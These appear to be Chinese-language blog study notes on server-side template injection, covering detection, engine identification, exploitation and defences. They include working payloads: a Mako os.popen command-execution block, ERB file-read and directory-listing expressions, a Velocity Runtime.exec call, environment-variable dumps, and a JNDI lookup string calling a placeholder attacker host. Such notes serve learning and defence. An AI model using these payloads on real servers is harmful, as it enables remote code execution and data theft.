服务端模板注入笔记
个人总结
参考:https://portswigger.net/web-security/server-side-template-injection
- name: 个人总结
desc: 参考:https://portswigger.net/web-security/server-side-template-injection
bgColor: '#F0DFB1'
textColor: 'green'
1
2
3
4
2
3
4
# 服务端模板注入笔记
# 1服务端模板注入基本知识
# 1、服务端模板注入是什么?
答案
攻击者能够使用本地模板语法,将恶意负载注入到模板中,然后在服务器端执行它。
# 2、服务端模板注入漏洞是如何产生的?
答案
当用户输入被直接拼接到模板中,而不是作为数据传入时,就会产生服务端模板注入漏洞。例如以下模板代码:
$output = $twig->render("Dear " . $_GET['name']);
1
# 3、服务端模板注入漏洞一定是无意中产生的?(判断)
答案
错。有时这种漏洞是故意实现的。例如,某些网站允许特权用户(如内容创作者)编辑或提交自定义模板,如果攻击者能够接管这类账户,则可以自己上传一个带有漏洞的模板,然后通过该模板造成危害。
# 4、服务端模板注入漏洞有什么危害?
答案
危害不定,网站可能遭受各种攻击,这通常是灾难性的。具体的危害取决于所涉及的模板引擎,以及应用程序是如何使用模板的:
- 最严重的情况下,攻击者可能会实现远程代码执行,然后完全控制后端服务器,并通过它来对内网中的其他机器发起攻击。
- 即使是在无法执行代码的情况下,仍可以利用该漏洞发起其他攻击,例如路径遍历。
- 在某些及其罕见的情况下,该漏洞不会造成真正的安全风险。
# 2服务端模板注入攻击
# 1、构建服务器模板注入攻击的过程?
答案
三步走战略,检测 --> 识别 --> 利用:
- 检测。第一步是要找到漏洞,尝试注入常用的特殊字符序列,对模板进行模糊测试。如果引发任何异常,则表明 服务器可能正在以某种方式 解析所注入的模板语法,这是存在漏洞的一个迹象。
- 识别。第二步是识别模板引擎,通常只需提交无效的模板语法,观察产生的错误消息,从中识别模板引擎类型和版本号。
- 利用。涉及新的三步战略。
# 2、“检测”步骤要做什么?
答案
先尝试注入一些通用字符序列,对模板语法进行模糊测试,观察有无引发异常,例如以下字符序列:
${{<%[%'"}}%\
1
然后,根据不同的上下文,实施不同的检测方法。
- 对于文本上下文,可以注入特定于模板引擎的 数学运算 语法,例如:
${7*7}
- 对于代码上下文,可以尝试注入
}}
符号来打破原有表达式,然后再注入载荷,例如:}}<script>
# 3、“识别”步骤要做什么?
答案
先尝试提交无效的表达式(例如<%=foobar%>
),观察产生的错误消息中,是否有关于模板引擎的信息。
若没有产生错误消息,则需要手动尝试不同的表达式,分析应用程序是如何解析它们的,用 排除法 找出能够使用的表达式。以下是一些常见的表达式:
// 基于 Python 的 Mako 模板引擎
<%foobar%> ${foobar2}
<% x=7*7 %> ${x}
// 基于 Python 的 Jinja2
{{foobar}}
{{7*'7'}} // 会返回七个7:7777777
// 基于 PHP 的 twig
{{foobar}}
{{7*'7'}} // 会返回运算结果:49
// 基于 PHP 的 Smarty
${7*7}
// 基于 Ruby 的 ERB
<%=foobar%>
<%=7*7%>
// 基于 Java 的 Apache FreeMarker
${7*7}
// 基于 Java 的 OGNL(Struts2)
%{foobar}
%{7*7}
// 基于 Java 的 SPEL(Spring)
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'foobar'");
String message = (String) exp.getValue();
Expression exp = parser.parseExpression("'${T(java.lang.System).getenv()}'");
// 基于 Java 的 Velocity
$class.inspect("java.lang.Runtime").type.getRuntime().exec("这里有坏东西")
// 其他一些基于 Java 的模板引擎
${T(java.lang.System).getenv()}
// 基于 Java 的 lookup 注入(不算是模板,但类似)
${foobar}
${jndi:ldap://hacker.attack.com/expoit}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# 4、“利用”步骤要做什么?
答案
也是三步走战略:阅读 --> 探索 --> 构建自定义攻击:
- 阅读。熟读目标模板引擎的文档,并查找其所有相关信息。三步读:学习基本模板语法 --> 阅读有关安全隐患的信息 --> 查找已知漏洞。
- 探索。探索环境,发现你有权访问的所有对象,创建一个对象列表,分析其中的每个对象是否有被利用的机会。特别要注意由开发人员 自定义 的对象,这类非标准对象通常存在更多的漏洞可能性。
- 构建自定义攻击。若无法获取到有关于 目标所使用的模板引擎 的信息,或者模板引擎运行在沙箱中,则需要尝试自己构建攻击载荷。可以通过对象链、自定义对象来构建自己的攻击。
# 5、Python的Mako模板引擎如何实现远程代码执行?
答案
你可以通过步骤 “利用 --> 阅读 --> 学习基本模板语法” 以获取有关于目标模板的信息。
# 在 Mako 模板引擎中实现远程代码执行
<%
import os
x = os.popen('id').read()
%>
${x}
1
2
3
4
5
6
7
2
3
4
5
6
7
# 6、Ruby的ERB模板引擎如何实现任意文件读取?
答案
你可以通过步骤 “利用 --> 阅读 --> 阅读有关安全隐患的信息” 以获取有关于目标模板的信息。
// 在 ERB 模板引擎中列出目录
<%= Dir.entries('/') %>
// 在 ERB 模板引擎中实现任意文件读取
<%= File.open('/example/arbitrary-file').read %>
1
2
3
4
5
2
3
4
5
# 7、Java的模板注入方式?
答案
// 在某些模板引擎中, 这可以列出环境中的所有变量
${T(java.lang.System).getenv()}
// 在 Velocity 模板引擎中实现远程代码执行
$class.inspect("java.lang.Runtime").type.getRuntime().exec("这里有坏东西")
1
2
3
4
5
2
3
4
5
# 3防范措施
答案
四个方法:
- 最佳方法,不允许任何用户修改或提交新模板。
- 使用 “无逻辑”(轻逻辑)的模板引擎,例如 Mustache。尽可能地将逻辑与表示层分离,这可以极大地减少遭受攻击的风险。 - (简单来讲,就是使用一种能够满足基本需求的轻量级模板引擎,没有太多乱七八糟的功能)
- (沙箱)附加措施,在沙箱环境中执行用户的代码。但不幸的是,对 不受信任的代码 进行沙箱化较为困难,并且容易被绕过。
- (容器 + 沙箱)补充方法,在封闭的 Docker 容器中部署模板运行环境,并在其中应用沙箱。
编辑 (opens new window)